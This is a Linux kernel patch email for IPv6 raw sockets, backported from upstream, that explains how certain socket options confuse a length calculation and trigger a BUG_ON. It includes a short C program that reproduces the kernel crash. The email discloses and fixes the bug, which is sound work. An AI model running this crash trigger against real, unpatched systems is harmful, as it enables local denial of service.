Subject: ipv6: handle -EFAULT from skb_copy_bits

From: Dave Jones <[email protected]>

[ Upstream commit a98f91758995cb59611e61318dddd8a6956b52c3 ]

By setting certain socket options on ipv6 raw sockets, we can confuse the length calculation in rawv6_push_pending_frames triggering a BUG_ON.

Handle by jumping to the failure path if skb_copy_bits gets an EFAULT.

#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define LEN 504

int main(int argc, char* argv[])

{
	int fd;
	int zero = 0;
	char buf[LEN];

	memset(buf, 0, LEN);

	fd = socket(AF_INET6, SOCK_RAW, 7);

	setsockopt(fd, SOL_IPV6, IPV6_CHECKSUM, &zero, 4);
	setsockopt(fd, SOL_IPV6, IPV6_DSTOPTS, &buf, LEN);

	sendto(fd, buf, 1, 0, (struct sockaddr *) buf, 110);
}
